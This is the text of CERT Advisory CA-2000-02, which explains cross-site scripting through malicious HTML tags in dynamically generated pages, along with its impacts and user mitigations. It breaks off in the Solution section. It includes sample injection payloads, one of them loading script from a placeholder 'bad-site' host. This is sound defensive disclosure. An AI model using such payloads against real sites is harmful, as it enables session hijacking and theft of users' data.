PROBLEM: Malicious HTML tags or script may be included in a dynamically generated web page. PLATFORM: Web browsers and web servers that dynamically generate pages based on unvalidated input. All platforms. DAMAGE: Unauthorized access may be gained to documentation, server services, and intranet servers. Domain based security policies may be violated, and web form behavior can be altered. SOLUTION: Follow solution procedure listed in the advisory.
VULNERABILITY Risk is high. The capability for exploiting the vulnerability ASSESSMENT: is readily available.
[ Start CERT Advisory ] ============================================================================ CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests This advisory is being published jointly by the CERT Coordination Center, DoD- CERT, the DoD Joint Task Force for Computer Network Defense (JTF-CND), the Federal Computer Incident Response Capability (FedCIRC), and the National Infrastructure Protection Center (NIPC). Original release date: February 2, 2000 A complete revision history is at the end of this file. Systems Affected * Web browsers * Web servers that dynamically generate pages based on unvalidated input Overview A web site may inadvertently include malicious HTML tags or script in a dynamically generated page based on unvalidated input from untrustworthy sources. This can be a problem when a web server does not adequately ensure that generated pages are properly encoded to prevent unintended execution of scripts, and when input is not validated to prevent malicious HTML from being presented to the user. I. Description Background Most web browsers have the capability to interpret scripts embedded in web pages downloaded from a web server. Such scripts may be written in a variety of scripting languages and are run by the client's browser. Most browsers are installed with the capability to run scripts enabled by default. Malicious code provided by one client for another client Sites that host discussion groups with web interfaces have long guarded against a vulnerability where one client embeds malicious HTML tags in a message intended for another client. For example, an attacker might post a message like Hello message board. This is a message. <SCRIPT>malicious code</SCRIPT> This is the end of my message. When a victim with scripts enabled in their browser reads this message, the malicious code may be executed unexpectedly. Scripting tags that can be embedded in this way include <SCRIPT>, <OBJECT>, <APPLET>, and <EMBED>. When client-to-client communications are mediated by a server, site developers explicitly recognize that data input is untrustworthy when it is presented to other users. Most discussion group servers either will not accept such input or will encode/filter it before sending anything to other readers. Malicious code sent inadvertently by a client for itself Many Internet web sites overlook the possibility that a client may send malicious data intended to be used only by itself. This is an easy mistake to make. After all, why would a user enter malicious code that only the user will see? However, this situation may occur when the client relies on an untrustworthy source of information when submitting a request. For example, an attacker may construct a malicious link such as <A HREF="http://example.com/comment.cgi? mycomment=<SCRIPT>malicious code</SCRIPT>"> Click here</A> When an unsuspecting user clicks on this link, the URL sent to example.com includes the malicious code. If the web server sends a page back to the user including the value of mycomment, the malicious code may be executed unexpectedly on the client. This example also applies to untrusted links followed in email or newsgroup messages. Abuse of Other Tags In addition to scripting tags, other HTML tags such as the <FORM> tag have the potential to be abused by an attacker. For example, by embedding malicious <FORM> tags at the right place, an intruder can trick users into revealing sensitive information by modifying the behavior of an existing form. Other HTML tags can also be abused to alter the appearance of the page, insert unwanted or offensive images or sounds, or otherwise interfere with the intended appearance and behavior of the page. Abuse of Trust At the heart of this vulnerability is the violation of trust that results from the "injected" script or HTML running within the security context established for the example.com site. It is, presumably, a site the browser victim is interested in enough to visit and interact with in a trusted fashion. In addition, the security policy of the legitimate server site example.com may also be compromised. This example explicitly shows the involvement of two sites: <A HREF="http://example.com/comment.cgi? mycomment=<SCRIPT SRC='http://bad-site/badfile'></SCRIPT>"> Click here</A> Note the SRC attribute in the <SCRIPT> tag is explicitly incorporating code from a presumably unauthorized source (bad-site). Both of the previous examples show violations of the same-source origination policy fundamental to most scripting security models: Netscape Communicator Same Origin Policy Microsoft Scriptlet Security Because one source is injecting code into pages sent by another source, this vulnerability has also been described as "cross-site" scripting. At the time of publication, malicious exploitation of this vulnerability has not been reported to the CERT/CC. However, because of the potential for such exploitation, we recommend that organization CIOs, managers, and system administrators aggressively implement the steps listed in the solution section of this document. Technical feedback to appropriate technical, operational, and law enforcement authorities is encouraged. II. Impact Users may unintentionally execute scripts written by an attacker when hey follow untrusted links in web pages, mail messages, or newsgroup postings. Users may also unknowingly execute malicious scripts when viewing dynamically generated pages based on content provided by other users. Because the malicious scripts are executed in a context that appears to have originated from the targeted site, the attacker has full access to the document retrieved, and may send data contained in the page back to their site. For example, a malicious script can read fields in a form provided by the real server, then send this data to the attacker. Alternatively, the attacker may be able to embed script code that has additional interactions with the legitimate web server without alerting the victim. For example, the attacker could develop an exploit that posted data to a different page on the legitimate web server. Also, even if the victim's web browser does not support scripting, an attacker can alter the appearance of a page, modify its behavior, or otherwise interfere with normal operation. The specific impact can vary greatly depending on the language selected by the attacker and the configuration of any authentic pages involved in the attack. Some examples that may not be immediately obvious are included here. SSL-Encrypted Connections May Be Exposed The malicious script tags are introduced before the Secure Socket Layer (SSL) encrypted connection is established between the client and the legitimate server. SSL encrypts data sent over this connection, including the malicious code, which is passed in both directions. While ensuring that the client and server are communicating without snooping, SSL makes no attempt to validate the legitimacy of data transmitted. Because there really is a legitimate dialog between the client and the server, SSL reports no problems. Malicious code that attempts to connect to a non-SSL URL may generate warning messages about the insecure connection, but the attacker can circumvent this warning simply by running an SSL-capable web server. Attacks May Be Persistent Through Poisoned Cookies Once malicious code is executing that appears to have come from the authentic web site, cookies may be modified to make the attack persistent. Specifically, if the vulnerable web site uses a field from the cookie in the dynamic generation of pages, the cookie may be modified by the attacker to include malicious code. Future visits to the affected web site (even from trusted links) will be compromised when the site requests the cookie and displays a page based on the field containing the code. Attacker May Access Restricted Web Sites from the Client By constructing a malicious URL an attacker may be able to execute script code on the client machine that exposes data from a vulnerable server inside the client's intranet. The attacker may gain unauthorized web access to an intranet web server if the compromised client has cached authentication for the targeted server. There is no requirement for the attacker to masquerade as any particular system. An attacker only needs to identify a vulnerable intranet server and convince the user to visit an innocent looking page to expose potentially sensitive data on the intranet server. Domain Based Security Policies May Be Violated If your browser is configured to allow execution of scripting languages from some hosts or domains while preventing this access from others, attackers may be able to violate this policy. By embedding malicious script tags in a request sent to a server that is allowed to execute scripts, an attacker may gain this privilege as well. For example, Internet Explorer security "zones" can be subverted by this technique. Use of Less-Common Character Sets May Present Additional Risk Browsers interpret the information they receive according to the character set chosen by the user if no character set is specified in the page returned by the web server. However, many web sites fail to explicitly specify the character set (even if they encode or filter characters with special meaning in the ISO-8859- 1), leaving users of alternate character sets at risk. Attacker May Alter the Behavior of Forms Under some conditions, an attacker may be able to modify the behavior of forms, including how results are submitted. III. Solution Solutions for Users None of the solutions that web users can take are complete solutions. In the end, it is up to web page developers to modify their pages to eliminate these types of problems. However, web users have two basic options to reduce their risk of being attacked through this vulnerability. The first, disabling scripting languages in their browser, provides the most protection but has the side effect for many users of disabling functionality that is important to them. Users should select this option when they require the lowest possible level of risk. The second solution, being selective about how they initially visit a web site, will significantly reduce a user's exposure while still maintaining functionality. Users should understand that they are accepting more risk when they select this option, but are doing so in order to preserve functionality that is important to them. Unfortunately, it is not possible to quantify the risk difference between these two options. Users who decide to continue operating their browsers with scripting languages enabled should periodically revisit the CERT/CC web site for updates, as well as review other sources of security information to learn of any increases in threat or risk related to this vulnerability. Web Users Should Disable Scripting Languages in Their Browser Exploiting this vulnerability to execute code requires that some form of embedded scripting language be enabled in the victim's browser. The most significant impact of this vulnerability can be avoided by disabling all scripting languages. Note that attackers may still be able to influence the appearance of content provided by the legitimate site by embedding other HTML tags in the URL. Malicious use of the